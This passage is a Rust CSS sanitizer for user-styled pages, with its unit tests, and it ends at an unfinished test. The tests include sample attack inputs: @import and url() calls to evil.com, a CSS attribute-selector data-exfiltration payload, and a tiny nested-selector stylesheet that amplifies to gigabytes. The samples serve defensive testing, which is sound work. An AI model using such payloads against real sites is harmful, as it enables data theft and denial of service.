Skip to main content

max / makenotwork

56.2 KB · 1437 lines History Blame Raw
1 //! CSS sanitization for custom pages, built on [`lightningcss`].
2 //!
3 //! The job is to take creator CSS and make it safe to inline on a public page
4 //! without it escaping the user canvas or reaching off-platform. The pipeline:
5 //!
6 //! 1. **Parse** the creator's CSS to an AST (nesting enabled, error-recovery on
7 //! so one bad rule doesn't discard the sheet).
8 //! 2. **Visit** it once to: drop at-rules outside the allowlist, validate every
9 //! `url()` (off-platform URLs are neutralized), strip system-slot hiding
10 //! properties on `.mnw-*` selectors, enforce the strobe budget, flag
11 //! `expression()`, and count rules/selectors against the DoS caps.
12 //! 3. **Scope** by partitioning rules into ones that select elements (style,
13 //! `@media`, `@supports`, `@layer` blocks) and ones that are global by nature
14 //! (`@keyframes`, `@font-face`, `@page`, `@layer` statements). The former are
15 //! re-emitted nested inside `.user-canvas#uc-{owner}` and flattened by
16 //! lightningcss, so scoping is done by the engine's own spec-compliant
17 //! nesting resolver rather than fragile string surgery. Selectors that try to
18 //! escape (`html`, `body`, `:root`, `*`) become `.user-canvas html` etc. and
19 //! match nothing outside the canvas.
20 //! 4. **Append** a reduced-motion override as the final rule.
21 //!
22 //! The parse -> print -> wrap -> reparse round-trip is also what makes brace
23 //! injection impossible: a stray `}` in creator input is a parse error, never a
24 //! literal that could close the wrapper early.
25
26 use std::convert::Infallible;
27
28 use lightningcss::declaration::DeclarationBlock;
29 use lightningcss::properties::Property;
30 use lightningcss::properties::custom::Function;
31 use lightningcss::rules::{CssRule, CssRuleList};
32 use lightningcss::selector::{Component, Selector, SelectorList};
33 use lightningcss::stylesheet::{ParserFlags, ParserOptions, PrinterOptions, StyleSheet};
34 use lightningcss::targets::{Features, Targets};
35 use lightningcss::values::url::Url;
36 use lightningcss::visit_types;
37 use lightningcss::visitor::{Visit, VisitTypes, Visitor};
38
39 use super::url_filter::{UrlPolicy, resolve_internal_url};
40 use super::{MAX_RULES, MAX_SELECTORS, Rejection, RejectionKind};
41
42 /// Sanitize creator CSS for a profile or project page, scoping it to
43 /// `.user-canvas#uc-{scope_id}`. See [`scope_and_sanitize`].
44 pub fn sanitize_css(input: &str, scope_id: &str, policy: &UrlPolicy) -> (String, Vec<Rejection>) {
45 scope_and_sanitize(input, "user-canvas", "uc", scope_id, policy)
46 }
47
48 /// Sanitize a project's CSS for one of its item pages, scoping it to
49 /// `.item-canvas#ic-{project_id}`. Item pages have no HTML of their own; they
50 /// wear the parent project's styling re-scoped to the item canvas root.
51 pub fn sanitize_item_css(
52 input: &str,
53 project_id: &str,
54 policy: &UrlPolicy,
55 ) -> (String, Vec<Rejection>) {
56 scope_and_sanitize(input, "item-canvas", "ic", project_id, policy)
57 }
58
59 /// Sanitize creator CSS, scoping it to `.{canvas_class}#{id_prefix}-{scope_id}`.
60 ///
61 /// `scope_id` must be an id-safe token (the owner/project UUID); anything else
62 /// is refused outright. `canvas_class`/`id_prefix` are internal constants.
63 /// Returns the sanitized, scoped stylesheet plus every reference stripped along
64 /// the way. On a fatal parse failure or a complexity-cap breach, returns empty
65 /// CSS and a single explanatory rejection, a page that can't be made safe
66 /// renders as the platform default, never partially.
67 fn scope_and_sanitize(
68 input: &str,
69 canvas_class: &str,
70 id_prefix: &str,
71 scope_id: &str,
72 policy: &UrlPolicy,
73 ) -> (String, Vec<Rejection>) {
74 if input.trim().is_empty() {
75 return (String::new(), Vec::new());
76 }
77
78 if !is_id_safe(scope_id) {
79 return (
80 String::new(),
81 vec![Rejection {
82 kind: RejectionKind::MalformedCss,
83 location: "css".into(),
84 original_value: scope_id.to_string(),
85 reason: "internal: unsafe owner scope".into(),
86 }],
87 );
88 }
89
90 let Ok(mut stylesheet) = StyleSheet::parse(input, parser_options()) else {
91 tracing::warn!(
92 input_len = input.len(),
93 "custom-page CSS rejected: unparseable"
94 );
95 return (
96 String::new(),
97 vec![Rejection {
98 kind: RejectionKind::MalformedCss,
99 location: "css".into(),
100 original_value: String::new(),
101 reason: "CSS could not be parsed".into(),
102 }],
103 );
104 };
105
106 let mut sanitizer = CssSanitizer {
107 policy,
108 rejections: Vec::new(),
109 rule_count: 0,
110 selector_count: 0,
111 };
112 // Our visitor never returns Err.
113 let _: Result<(), Infallible> = stylesheet.visit(&mut sanitizer);
114
115 if sanitizer.rule_count > MAX_RULES || sanitizer.selector_count > MAX_SELECTORS {
116 tracing::warn!(
117 rule_count = sanitizer.rule_count,
118 selector_count = sanitizer.selector_count,
119 "custom-page CSS rejected: exceeds complexity limits (MAX_RULES={MAX_RULES}, MAX_SELECTORS={MAX_SELECTORS})"
120 );
121 return (
122 String::new(),
123 vec![Rejection {
124 kind: RejectionKind::ComplexityLimit,
125 location: "css".into(),
126 original_value: format!(
127 "{} rules, {} selectors",
128 sanitizer.rule_count, sanitizer.selector_count
129 ),
130 reason: format!(
131 "stylesheet too complex (limit {MAX_RULES} rules, {MAX_SELECTORS} selectors)"
132 ),
133 }],
134 );
135 }
136
137 // THE CAPS ABOVE COUNT THE PARSED TREE; FLATTENING IS MULTIPLICATIVE.
138 //
139 // `rule_count` and `selector_count` are accumulated additively over the AST
140 // as parsed, and they are checked before the scoping wrapper is flattened.
141 // Nested selectors do not add, they multiply: a rule with N selectors
142 // nested inside one with M produces N*M flattened selectors, and the caps
143 // never see it. The css soak target found the consequence in its first
144 // half-hour (infra `bd562c12`) as a 2.1 GB allocation from a 167-byte
145 // stylesheet -- nested `&` selectors, roughly 30x per level:
146 //
147 // depth 1: 43 bytes in -> 723 bytes out
148 // depth 2: 77 bytes in -> 17,253 bytes out
149 // depth 3: 111 bytes in -> 513,153 bytes out
150 // depth 4: 145 bytes in -> 15,390,153 bytes out
151 //
152 // and zero rejections at every depth. Sanitization is render-time, so that
153 // is not a slow save: it is every visitor to that page allocating
154 // gigabytes, which is a denial of service any creator could have written by
155 // accident.
156 //
157 // The projection below multiplies down the nesting tree and refuses the
158 // sheet before anything is flattened. It reuses MAX_SELECTORS and
159 // `ComplexityLimit` rather than inventing a limit: "too complex, render the
160 // platform default" is already this crate's designed answer, and it was
161 // only ever measuring the wrong number.
162 let projected = projected_expansion(&stylesheet.rules, 1);
163 if projected > MAX_SELECTORS as u64 {
164 tracing::warn!(
165 projected,
166 "custom-page CSS rejected: nested selectors project to {projected} flattened selectors (limit {MAX_SELECTORS})"
167 );
168 return (
169 String::new(),
170 vec![Rejection {
171 kind: RejectionKind::ComplexityLimit,
172 location: "css".into(),
173 original_value: format!("{projected} flattened selectors"),
174 reason: format!(
175 "nested selectors expand to more than {MAX_SELECTORS} rules once flattened"
176 ),
177 }],
178 );
179 }
180
181 let mut rejections = sanitizer.rejections;
182
183 // Partition surviving rules: element-selecting rules get scoped; rules that
184 // are global by nature stay top-level (they have no document selectors, and
185 // they cannot legally nest inside a style rule anyway).
186 let rules = std::mem::take(&mut stylesheet.rules.0);
187 let mut global = Vec::new();
188 let mut scopable = Vec::new();
189 for rule in rules {
190 match rule {
191 CssRule::Ignored => {}
192 CssRule::Keyframes(_)
193 | CssRule::FontFace(_)
194 | CssRule::Page(_)
195 | CssRule::LayerStatement(_) => global.push(rule),
196 _ => scopable.push(rule),
197 }
198 }
199
200 let scope_selector = format!(".{canvas_class}#{id_prefix}-{scope_id}");
201
202 let global_css = print_rules(global);
203 let scopable_css = print_rules(scopable);
204
205 // Wrap the element-selecting rules in the canvas selector and let
206 // lightningcss flatten the nesting (scoping done by the engine).
207 let flat_scoped = if scopable_css.trim().is_empty() {
208 String::new()
209 } else {
210 let wrapped = format!("{scope_selector} {{\n{scopable_css}\n}}");
211 match StyleSheet::parse(&wrapped, parser_options()) {
212 Ok(sheet) => sheet
213 .to_css(PrinterOptions {
214 targets: Targets {
215 browsers: None,
216 include: Features::Nesting,
217 exclude: Features::empty(),
218 },
219 ..Default::default()
220 })
221 .map(|r| r.code)
222 .unwrap_or_default(),
223 Err(_) => {
224 // Should not happen on already-sanitized input; fail safe.
225 rejections.push(Rejection {
226 kind: RejectionKind::MalformedCss,
227 location: "css".into(),
228 original_value: String::new(),
229 reason: "internal: re-scope failed".into(),
230 });
231 String::new()
232 }
233 }
234 };
235
236 // NOT VERIFIED AGAINST THE PRINTER, and that is a known gap rather than an
237 // oversight. See infra `bd562c12`: the css soak target found that
238 // lightningcss's nesting flattener can print a selector whose text no
239 // longer parses back to the scoped AST -- `-- &x` prints as `#uc-abcx`, the
240 // trailing type selector merging into the canvas id.
241 //
242 // A guard that reparsed this function's own printed output and dropped
243 // unscoped rules was written, and then REMOVED, because it was worse than
244 // what it fixed. Every mis-flattened shape found NARROWS the match (a
245 // longer identifier matches fewer elements), so the rules it dropped were
246 // inert. The reparse, meanwhile, ran over the FLATTENED sheet, which is far
247 // larger and more deeply nested than the input: 214 bytes of creator CSS
248 // flattens to 219 KB, and parsing that overflowed a 2 MB stack -- tokio's
249 // default worker size. A Rust stack overflow is not a catchable panic, so
250 // that traded an inert rule for an abort of the whole server process,
251 // reachable by any visitor to the page.
252 //
253 // Fixing it safely needs a check that does not reparse the output, and
254 // choosing one is a design decision rather than a mechanical fix.
255
256 // Reduced-motion override, always last (decision #3). Scoped to the canvas.
257 let reduced_motion = format!(
258 "@media (prefers-reduced-motion: reduce){{{scope_selector},{scope_selector} *{{animation:none!important;transition:none!important}}}}"
259 );
260
261 let mut out = String::new();
262 if !global_css.trim().is_empty() {
263 out.push_str(global_css.trim());
264 out.push('\n');
265 }
266 if !flat_scoped.trim().is_empty() {
267 out.push_str(flat_scoped.trim());
268 out.push('\n');
269 }
270 out.push_str(&reduced_motion);
271
272 (escape_lt_for_style_element(&out), rejections)
273 }
274
275 /// How far this rule tree expands when nesting is flattened.
276 ///
277 /// Not a selector count: a compound like `&&&&` is ONE selector whose four
278 /// nesting components each expand to the parent's flattened text, so the
279 /// growth is textual and multiplies down the tree. Counting selector-list
280 /// length instead measures the wrong axis entirely and waves the input
281 /// through, which is what a first attempt at this did.
282 ///
283 /// `factor` is what the enclosing rules already multiply by. Saturating
284 /// throughout: the answer only has to be "past the cap", and an overflow would
285 /// wrap to a small number and admit exactly the input this refuses.
286 fn projected_expansion(rules: &CssRuleList<'_>, factor: u64) -> u64 {
287 let mut worst = factor;
288 for rule in &rules.0 {
289 let (own, nested) = match rule {
290 CssRule::Style(style) => {
291 // Each nesting reference reproduces the parent selector; the
292 // selector list multiplies on top of that.
293 let refs: u64 = style
294 .selectors
295 .0
296 .iter()
297 .map(|s| {
298 s.iter_raw_match_order()
299 .filter(|c| matches!(c, Component::Nesting))
300 .count() as u64
301 })
302 .sum();
303 let width = refs.max(style.selectors.0.len() as u64).max(1);
304 (factor.saturating_mul(width), Some(&style.rules))
305 }
306 CssRule::Media(r) => (factor, Some(&r.rules)),
307 CssRule::Supports(r) => (factor, Some(&r.rules)),
308 CssRule::LayerBlock(r) => (factor, Some(&r.rules)),
309 _ => (factor, None),
310 };
311 worst = worst.max(own);
312 if let Some(inner) = nested {
313 worst = worst.max(projected_expansion(inner, own));
314 }
315 if worst > u64::from(u32::MAX) {
316 return worst; // Already past any cap; stop walking.
317 }
318 }
319 worst
320 }
321
322 /// Make the sheet safe to inline raw inside an HTML `<style>` element.
323 ///
324 /// `<style>` is a raw-text element: the HTML tokenizer ends it at the first
325 /// `</style` regardless of CSS syntax, so a creator's `content: "</style>..."`
326 /// would otherwise break out and inject markup. lightningcss faithfully
327 /// preserves the literal `<` inside CSS string tokens, so we escape every `<`
328 /// in the final output to its CSS hex escape `\3c ` (the trailing space
329 /// terminates the hex digits). `<` is not valid CSS syntax outside string/url
330 /// tokens, so this rewrite is lossless where it matters and never produces a
331 /// literal `<` for the HTML parser to act on. `</style>`, `<!--`, and `<script`
332 /// all require a `<`, so neutralizing it closes the whole class.
333 fn escape_lt_for_style_element(css: &str) -> String {
334 if !css.contains('<') {
335 return css.to_string();
336 }
337 css.replace('<', "\\3c ")
338 }
339
340 pub(super) fn parser_options<'o, 'i>() -> ParserOptions<'o, 'i> {
341 ParserOptions {
342 // Nesting is standard CSS; let creators use it and let us wrap with it.
343 //
344 // Inert at the pinned lightningcss version and kept anyway: measured
345 // 2026-08-26, `ParserFlags::NESTING` is defined in 1.0.0-alpha.71's
346 // parser.rs and read nowhere in the crate, so nesting parses with or
347 // without it. The pin is deliberate (see Cargo.toml) and a later alpha
348 // may start reading the flag again, so stating the intent costs
349 // nothing. It does mean no test can observe this line, and mutation
350 // reports it as a permanent survivor.
351 flags: ParserFlags::NESTING,
352 // One malformed rule shouldn't discard the whole sheet.
353 error_recovery: true,
354 ..Default::default()
355 }
356 }
357
358 /// Print a set of rules to CSS (non-minified, no nesting transform).
359 fn print_rules(rules: Vec<CssRule<'_>>) -> String {
360 if rules.is_empty() {
361 return String::new();
362 }
363 let sheet = StyleSheet::new(Vec::new(), CssRuleList(rules), ParserOptions::default());
364 sheet
365 .to_css(PrinterOptions::default())
366 .map(|r| r.code)
367 .unwrap_or_default()
368 }
369
370 /// An id token safe to embed in a CSS id selector: ASCII alphanumerics and `-`.
371 fn is_id_safe(s: &str) -> bool {
372 !s.is_empty() && s.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-')
373 }
374
375 /// The single-pass AST sanitizer.
376 struct CssSanitizer<'p> {
377 policy: &'p UrlPolicy,
378 rejections: Vec<Rejection>,
379 rule_count: usize,
380 selector_count: usize,
381 }
382
383 impl<'i> Visitor<'i> for CssSanitizer<'_> {
384 type Error = Infallible;
385
386 fn visit_types(&self) -> VisitTypes {
387 visit_types!(RULES | URLS | FUNCTIONS)
388 }
389
390 fn visit_rule(&mut self, rule: &mut CssRule<'i>) -> Result<(), Self::Error> {
391 self.rule_count += 1;
392
393 // At-rule allowlist. Anything not explicitly allowed is replaced with
394 // CssRule::Ignored (prints nothing) and recorded. Allowed at-rules fall
395 // through to the recursion below so their contents are still cleaned.
396 let blocked_name: Option<&str> = match rule {
397 CssRule::Import(_) => Some("@import"),
398 CssRule::Namespace(_) => Some("@namespace"),
399 CssRule::MozDocument(_) => Some("@-moz-document"),
400 CssRule::CustomMedia(_) => Some("@custom-media"),
401 CssRule::Property(_) => Some("@property"),
402 CssRule::Viewport(_) => Some("@viewport"),
403 CssRule::CounterStyle(_) => Some("@counter-style"),
404 CssRule::FontPaletteValues(_) => Some("@font-palette-values"),
405 CssRule::FontFeatureValues(_) => Some("@font-feature-values"),
406 CssRule::Container(_) => Some("@container"),
407 CssRule::Scope(_) => Some("@scope"),
408 CssRule::StartingStyle(_) => Some("@starting-style"),
409 CssRule::ViewTransition(_) => Some("@view-transition"),
410 CssRule::Unknown(_) => Some("unknown at-rule"),
411 // Explicitly allowed: plain style rules and the safe grouping/at-rules.
412 // Enumerated with NO wildcard arm (UX-S2, Run 7) so a future
413 // lightningcss upgrade that adds a `CssRule` variant fails to COMPILE
414 // here until it is triaged into allow-or-block, instead of the old
415 // `_ => None` silently emitting an unknown at-rule unfiltered into the
416 // `<style>` block.
417 CssRule::Media(_)
418 | CssRule::Style(_)
419 | CssRule::Keyframes(_)
420 | CssRule::FontFace(_)
421 | CssRule::Page(_)
422 | CssRule::Supports(_)
423 | CssRule::Nesting(_)
424 | CssRule::NestedDeclarations(_)
425 | CssRule::LayerStatement(_)
426 | CssRule::LayerBlock(_)
427 | CssRule::Ignored
428 | CssRule::Custom(_) => None,
429 };
430
431 if let Some(name) = blocked_name {
432 self.rejections.push(Rejection {
433 kind: RejectionKind::BlockedAtRule,
434 location: name.to_string(),
435 original_value: name.to_string(),
436 reason: format!("{name} is not allowed in custom pages"),
437 });
438 *rule = CssRule::Ignored;
439 return Ok(());
440 }
441
442 // Style-rule-specific cleanups, with selector context in hand.
443 if let CssRule::Style(style) = rule {
444 self.selector_count += style.selectors.0.len();
445 if selectors_target_system_slot(&style.selectors) {
446 strip_hiding_properties(&mut style.declarations, &mut self.rejections);
447 }
448 enforce_animation_budget(&mut style.declarations, &mut self.rejections);
449 }
450
451 // Recurse into declarations (url()/expression()) and nested rules.
452 rule.visit_children(self)
453 }
454
455 fn visit_url(&mut self, url: &mut Url<'i>) -> Result<(), Self::Error> {
456 if let Err(rejection) = resolve_internal_url(&url.url, self.policy, "css url()") {
457 self.rejections.push(rejection);
458 // Neutralize: an empty url() resolves to the current document
459 // (same-origin), never the off-platform target.
460 url.url = "".into();
461 }
462 Ok(())
463 }
464
465 fn visit_function(&mut self, function: &mut Function<'i>) -> Result<(), Self::Error> {
466 // expression() is dead in every browser we support, but the sanitizer's
467 // contract is "recorded as blocked => actually removed", so neutralize it
468 // rather than passing the token through: clear its arguments (dropping any
469 // url()/payload inside) and rename it so the output can't contain a
470 // working `expression(...)` (Run 21 security).
471 if function.name.as_ref().eq_ignore_ascii_case("expression") {
472 self.rejections.push(Rejection {
473 kind: RejectionKind::BlockedFunction,
474 location: "css".into(),
475 original_value: "expression()".into(),
476 reason: "the expression() function is not allowed".into(),
477 });
478 function.arguments.0.clear();
479 function.name = lightningcss::values::ident::Ident("mnw-blocked".into());
480 return Ok(());
481 }
482 function.visit_children(self)
483 }
484 }
485
486 /// True if any selector in the list targets a `.mnw-*` system-slot class
487 /// (directly or inside `:is()`/`:where()`/`:not()`/`:has()`).
488 fn selectors_target_system_slot(list: &SelectorList) -> bool {
489 list.0.iter().any(selector_has_system_class)
490 }
491
492 fn selector_has_system_class(selector: &Selector) -> bool {
493 selector
494 .iter_raw_match_order()
495 .any(component_has_system_class)
496 }
497
498 fn component_has_system_class(component: &Component) -> bool {
499 match component {
500 Component::Class(ident) => ident.0.starts_with("mnw-"),
501 Component::Is(list)
502 | Component::Where(list)
503 | Component::Negation(list)
504 | Component::Has(list) => list.iter().any(selector_has_system_class),
505 Component::Any(_, list) => list.iter().any(selector_has_system_class),
506 Component::Host(Some(inner)) => selector_has_system_class(inner),
507 _ => false,
508 }
509 }
510
511 /// Remove declarations that would hide a system slot, preserving the rest of
512 /// the rule. Records one rejection per dropped property.
513 fn strip_hiding_properties(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) {
514 for list in [&mut decls.declarations, &mut decls.important_declarations] {
515 list.retain(|prop| {
516 if is_hiding_property(prop) {
517 rejections.push(Rejection {
518 kind: RejectionKind::HidingProperty,
519 location: ".mnw-* rule".into(),
520 original_value: prop_string(prop),
521 reason: "system slots (.mnw-*) cannot be hidden".into(),
522 });
523 false
524 } else {
525 true
526 }
527 });
528 }
529 }
530
531 /// Whether a property+value combination hides an element. Matched against the
532 /// serialized declaration so we don't have to enumerate every typed variant.
533 fn is_hiding_property(prop: &Property) -> bool {
534 let norm = normalize(&prop_string(prop));
535 if let Some(rest) = norm.strip_prefix("opacity:") {
536 return rest.parse::<f32>().is_ok_and(|v| v < 0.1);
537 }
538 matches!(
539 norm.as_str(),
540 "display:none"
541 | "visibility:hidden"
542 | "visibility:collapse"
543 | "pointer-events:none"
544 | "width:0"
545 | "width:0px"
546 | "height:0"
547 | "height:0px"
548 // UX-M4: 0-sized box via max-* and 0 font-size hide content too.
549 | "max-width:0"
550 | "max-width:0px"
551 | "max-height:0"
552 | "max-height:0px"
553 | "font-size:0"
554 | "font-size:0px"
555 // Legacy clip:rect(0,0,0,0) screen-reader-hide trick.
556 | "clip:rect(0,0,0,0)"
557 | "clip:rect(0px,0px,0px,0px)"
558 ) || (norm.starts_with("transform:") && norm.contains("scale(0)"))
559 // clip-path clipping the element to nothing (UX-M4).
560 || (norm.starts_with("clip-path:")
561 && (norm.contains("inset(100%") || norm.contains("circle(0")))
562 // Off-screen text via large-negative text-indent (UX-M4).
563 || is_offscreen_text_indent(&norm)
564 }
565
566 /// Large-negative `text-indent`, the classic off-screen text-hiding trick
567 /// (`text-indent:-9999px`). Anything ≤ -1000px (or unitless) counts as hiding.
568 fn is_offscreen_text_indent(norm: &str) -> bool {
569 norm.strip_prefix("text-indent:")
570 .map(|rest| rest.strip_suffix("px").unwrap_or(rest))
571 .and_then(|n| n.parse::<f32>().ok())
572 .is_some_and(|v| v <= -1000.0)
573 }
574
575 /// Drop infinite animations faster than 2s (strobe guard, decision #3). The
576 /// reduced-motion override handles accessibility; this caps the worst abuse for
577 /// everyone else.
578 fn enforce_animation_budget(decls: &mut DeclarationBlock, rejections: &mut Vec<Rejection>) {
579 /// A finite iteration-count this high at a sub-2s duration strobes just like
580 /// `infinite` does (UX-M5), `infinite` was the only case caught before.
581 const STROBE_MAX_ITERATIONS: f32 = 20.0;
582
583 let mut has_infinite = false;
584 let mut min_duration: Option<f32> = None;
585 let mut max_iterations: Option<f32> = None;
586
587 for list in [&decls.declarations, &decls.important_declarations] {
588 for prop in list {
589 // Lowercased but whitespace-preserved: duration tokens like `1s`
590 // must stay split from neighbouring keywords.
591 let raw = prop_string(prop).to_ascii_lowercase();
592 if raw.contains("infinite") {
593 has_infinite = true;
594 }
595 if let Some(rest) = raw.strip_prefix("animation-duration:") {
596 update_min_duration(rest, &mut min_duration);
597 } else if let Some(rest) = raw.strip_prefix("animation-iteration-count:") {
598 update_max_iterations(rest, &mut max_iterations);
599 } else if let Some(rest) = raw.strip_prefix("animation:") {
600 update_min_duration(rest, &mut min_duration);
601 update_max_iterations(rest, &mut max_iterations);
602 }
603 }
604 }
605
606 let fast = min_duration.is_some_and(|d| d < 2.0);
607 let high_count = max_iterations.is_some_and(|n| n >= STROBE_MAX_ITERATIONS);
608 let strobe = (has_infinite || high_count) && fast;
609 if !strobe {
610 return;
611 }
612
613 let mut dropped = false;
614 for list in [&mut decls.declarations, &mut decls.important_declarations] {
615 list.retain(|prop| {
616 let norm = normalize(&prop_string(prop));
617 if norm.starts_with("animation") {
618 dropped = true;
619 false
620 } else {
621 true
622 }
623 });
624 }
625 if dropped {
626 rejections.push(Rejection {
627 kind: RejectionKind::AnimationBudget,
628 location: "animation".into(),
629 original_value: "infinite animation under 2s".into(),
630 reason: "fast infinite animations are not allowed (strobe guard)".into(),
631 });
632 }
633 }
634
635 fn update_min_duration(value: &str, min: &mut Option<f32>) {
636 for token in value.split([' ', ',']) {
637 if let Some(secs) = parse_seconds(token) {
638 *min = Some(min.map_or(secs, |m| m.min(secs)));
639 }
640 }
641 }
642
643 /// Track the largest finite iteration-count seen, scanning either the explicit
644 /// `animation-iteration-count` value or the `animation` shorthand (UX-M5). A bare
645 /// unitless number is the count; durations carry `s`/`ms` and percentages `%`, so
646 /// they're skipped. `infinite` is handled separately.
647 fn update_max_iterations(value: &str, max: &mut Option<f32>) {
648 for token in value.split([' ', ',']) {
649 let token = token.trim();
650 if token.is_empty() || token.ends_with('s') || token.ends_with('%') {
651 continue;
652 }
653 if let Ok(n) = token.parse::<f32>() {
654 *max = Some(max.map_or(n, |m| m.max(n)));
655 }
656 }
657 }
658
659 /// Parse a CSS time token to seconds. Returns None for non-time tokens.
660 fn parse_seconds(token: &str) -> Option<f32> {
661 let t = token.trim();
662 if let Some(ms) = t.strip_suffix("ms") {
663 ms.parse::<f32>().ok().map(|v| v / 1000.0)
664 } else if let Some(s) = t.strip_suffix('s') {
665 s.parse::<f32>().ok()
666 } else {
667 None
668 }
669 }
670
671 fn prop_string(prop: &Property) -> String {
672 prop.to_css_string(false, PrinterOptions::default())
673 .unwrap_or_default()
674 }
675
676 /// Lowercase and strip ASCII whitespace, for value matching.
677 fn normalize(s: &str) -> String {
678 s.chars()
679 .filter(|c| !c.is_whitespace())
680 .collect::<String>()
681 .to_ascii_lowercase()
682 }
683
684 #[cfg(test)]
685 mod tests {
686
687 #[test]
688 fn nested_amplification_is_refused_before_it_is_flattened() {
689 // The css soak target's second finding (infra `bd562c12`): 167 bytes of
690 // nested `&` selectors allocated 2.1 GB, because the complexity caps
691 // count the parsed tree additively and flattening multiplies. Measured
692 // growth was ~30x per level -- 145 bytes in, 15 MB out, zero
693 // rejections. Sanitization is render-time, so that is every visitor to
694 // the page, not a slow save.
695 let amp = "&".repeat(30);
696 let css = format!("{amp} {{ {amp} {{ {amp} {{ color:red }} }} }}");
697 assert!(css.len() < 200, "the point is that the input is tiny");
698
699 let (out, rejections) = sanitize_css(&css, "abc", &test_policy());
700 assert!(
701 out.is_empty(),
702 "an unsafe sheet renders as nothing: {out:.200}"
703 );
704 assert!(
705 rejections
706 .iter()
707 .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)),
708 "refusal must be recorded as a complexity limit: {rejections:?}"
709 );
710 }
711
712 #[test]
713 fn ordinary_nesting_is_not_refused() {
714 // The guard is worthless if it refuses real pages. Nesting is standard
715 // CSS and the parser enables it deliberately.
716 for css in [
717 ".card { color: red; &:hover { color: blue } }",
718 "h1,h2,h3 { &:hover, &:focus { color: red } }",
719 ".a { .b { .c { color: red } } }",
720 "@media print { .a { &:hover { color: red } } }",
721 ] {
722 let (out, rejections) = sanitize_css(css, "abc", &test_policy());
723 assert!(
724 !rejections
725 .iter()
726 .any(|r| matches!(r.kind, RejectionKind::ComplexityLimit)),
727 "ordinary nesting was refused: {css:?} -> {rejections:?}"
728 );
729 assert!(
730 !out.is_empty(),
731 "ordinary nesting produced nothing: {css:?}"
732 );
733 }
734 }
735
736 fn test_policy() -> UrlPolicy {
737 UrlPolicy::new(
738 "https://u.makenot.work/alice/proj",
739 ["makenot.work".to_string(), "u.makenot.work".to_string()],
740 )
741 .unwrap()
742 }
743 use super::*;
744
745 const SCOPE: &str = "11111111-1111-1111-1111-111111111111";
746
747 fn policy() -> UrlPolicy {
748 UrlPolicy::new(
749 "https://u.makenot.work/alice/proj",
750 [
751 "makenot.work".to_string(),
752 "u.makenot.work".to_string(),
753 "cdn.makenot.work".to_string(),
754 ],
755 )
756 .unwrap()
757 }
758
759 fn san(css: &str) -> (String, Vec<Rejection>) {
760 sanitize_css(css, SCOPE, &policy())
761 }
762
763 fn scoped(css: &str) -> String {
764 san(css).0
765 }
766
767 #[test]
768 fn empty_input_is_empty() {
769 assert_eq!(san("").0, "");
770 assert_eq!(san(" ").0, "");
771 }
772
773 #[test]
774 fn scopes_plain_selectors() {
775 let out = scoped("p { color: red }");
776 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 p"));
777 }
778
779 #[test]
780 fn neutralizes_body_and_root_escape() {
781 let out = scoped("body { background: blue } :root { color: green }");
782 // Both are confined under the canvas (descendant), matching nothing outside.
783 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 body"));
784 assert!(!out.contains("\nbody"));
785 assert!(!out.starts_with("body"));
786 }
787
788 #[test]
789 fn rejects_import() {
790 let (out, rej) = san("@import url(https://evil.com/x.css); p { color: red }");
791 assert!(!out.contains("@import"));
792 assert!(!out.contains("evil.com"));
793 assert!(rej.iter().any(|r| r.kind == RejectionKind::BlockedAtRule));
794 assert!(out.contains("color"));
795 }
796
797 #[test]
798 fn rejects_namespace_and_moz_document() {
799 let (out, rej) =
800 san("@namespace url(http://x); @-moz-document url-prefix() { p {color:red} }");
801 assert!(!out.to_lowercase().contains("namespace"));
802 assert!(!out.to_lowercase().contains("moz-document"));
803 assert!(
804 rej.iter()
805 .filter(|r| r.kind == RejectionKind::BlockedAtRule)
806 .count()
807 >= 2
808 );
809 }
810
811 #[test]
812 fn allows_media_and_keyframes_and_fontface() {
813 let out = scoped(
814 "@media (min-width: 600px) { .wide { color: red } } \
815 @keyframes spin { from {opacity:0} to {opacity:1} }",
816 );
817 assert!(out.contains("@media"));
818 assert!(out.contains("@keyframes"));
819 // The media rule's inner selector is scoped...
820 assert!(out.contains(".user-canvas#uc-11111111-1111-1111-1111-111111111111 .wide"));
821 // ...but @keyframes stays global (not nested under the canvas).
822 assert!(out.contains("@keyframes spin"));
823 }
824
825 #[test]
826 fn external_url_in_background_is_neutralized() {
827 let (out, rej) = san(".x { background: url(https://evil.com/y.png) }");
828 assert!(!out.contains("evil.com"));
829 assert!(rej.iter().any(|r| r.kind == RejectionKind::ExternalUrl));
830 }
831
832 #[test]
833 fn internal_and_relative_urls_kept() {
834 let out = scoped(
835 ".a{background:url(/static/p.png)} .b{background:url(https://cdn.makenot.work/x)}",
836 );
837 assert!(out.contains("/static/p.png"));
838 assert!(out.contains("cdn.makenot.work/x"));
839 }
840
841 #[test]
842 fn attribute_selector_exfiltration_blocked() {
843 // The classic CSS data-exfiltration trick: url() must be dropped.
844 let (out, _) = san("input[value^=\"a\"] { background: url(//evil.com/a) }");
845 assert!(!out.contains("evil.com"));
846 }
847
848 #[test]
849 fn mnw_hiding_properties_stripped() {
850 let (out, rej) = san(".mnw-buy { display: none; color: red }");
851 assert!(!normalize(&out).contains("display:none"));
852 assert!(out.contains("color"));
853 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
854 }
855
856 #[test]
857 fn mnw_hiding_via_has_stripped() {
858 let (_out, rej) = san("*:has(.mnw-files) { opacity: 0 }");
859 assert!(rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
860 }
861
862 #[test]
863 fn non_mnw_hiding_is_allowed() {
864 let (out, rej) = san(".myclass { display: none }");
865 assert!(normalize(&out).contains("display:none"));
866 assert!(!rej.iter().any(|r| r.kind == RejectionKind::HidingProperty));
867 }
868
869 #[test]
870 fn mnw_widened_hiding_properties_stripped() {
871 // UX-M4: clip-path, font-size:0, and off-screen text-indent are all hides.
872 for decl in [
873 "clip-path: inset(100%)",
874 "font-size: 0",
875 "text-indent: -9999px",
876 "max-height: 0",
877 "clip: rect(0, 0, 0, 0)",
878 ] {
879 let (_out, rej) = san(&format!(".mnw-buy {{ {decl} }}"));
880 assert!(
881 rej.iter().any(|r| r.kind == RejectionKind::HidingProperty),
882 "expected {decl} to be treated as hiding"
883 );
884 }
885 }
886
887 #[test]
888 fn reduced_motion_appended() {
889 let out = scoped("p { color: red }");
890 assert!(out.contains("prefers-reduced-motion"));
891 assert!(out.trim_end().ends_with('}'));
892 }
893
894 #[test]
